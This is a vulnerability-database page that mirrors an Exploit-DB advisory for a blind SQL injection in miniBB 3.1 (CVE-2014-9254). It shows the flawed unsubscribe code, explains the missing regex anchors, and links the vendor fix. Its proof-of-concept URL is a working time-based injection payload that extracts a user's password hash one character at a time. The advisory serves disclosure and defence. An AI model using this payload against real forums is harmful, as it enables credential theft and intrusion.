Lucene search
K

MiniBB 3.1 - Blind SQL Injection

🗓️ 19 Dec 2014 00:00:00Reported by Kacper SzurekType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

MiniBB 3.1 Blind SQL Injection, Missing Input Validatio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
miniBB 3.1 Blind SQL Injection Vulnerability
18 Dec 201400:00
zdt
CVE
CVE-2014-9254
31 Dec 201421:00
cve
Cvelist
CVE-2014-9254
31 Dec 201421:00
cvelist
EUVD
EUVD-2014-9079
7 Oct 202500:30
euvd
exploitpack
MiniBB 3.1 - Blind SQL Injection
19 Dec 201400:00
exploitpack
NVD
CVE-2014-9254
31 Dec 201421:59
nvd
OpenVAS
miniBB bb_func_unsub.php 'code' Parameter Blind SQL Injection Vulnerability
7 Jan 201500:00
openvas
Packet Storm
miniBB 3.1 Blind SQL Injection
20 Dec 201400:00
packetstorm
Prion
Sql injection
31 Dec 201421:59
prion
# Exploit Title: miniBB 3.1 Blind SQL Injection
# Date: 23-11-2014
# Software Link: http://www.minibb.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9254
# Category: webapps

1. Description
  
preg_match() only check if $_GET['code'] contains at least one letter or digit (missing ^ and $ inside regexp).

File: bb_func_unsub.php
$usrid=(isset($_GET['usrid'])?$_GET['usrid']+0:0);

$allowUnsub=FALSE;
$chkCode=FALSE;

if(isset($_GET['code']) and preg_match("#[a-zA-Z0-9]+#", $_GET['code'])){
	//trying to unsubscribe directly from email
	$chkField='email_code';
	$chkVal=$_GET['code'];
	$userCondition=TRUE;
	$chkCode=TRUE;
}
else{
	//manual unsubsribe
	$chkField='user_id';
	$chkVal=$user_id;
	$userCondition=($usrid==$user_id);
}

if ($topic!=0 and $usrid>0 and $userCondition and $ids=db_simpleSelect(0, $Ts, 'id, user_id', 'topic_id', '=', $topic, '', '', $chkField, '=', $chkVal))

http://security.szurek.pl/minibb-31-blind-sql-injection.html
  
2. Proof of Concept

http://minibb-url/index.php?action=unsubscribe&usrid=1&topic=1&code=test' UNION SELECT 1, IF(substr(user_password,1,1) = CHAR(99), SLEEP(5), 0) FROM minibbtable_users WHERE user_id = 1 AND username != '

This SQL will check if first password character user ID=1 is “c”.

If yes, it will sleep 5 seconds.
  
3. Solution:
  
http://www.minibb.com/forums/news-9/blind-sql-injection-fix-6430.html

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Dec 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 27.5
EPSS0.00679
35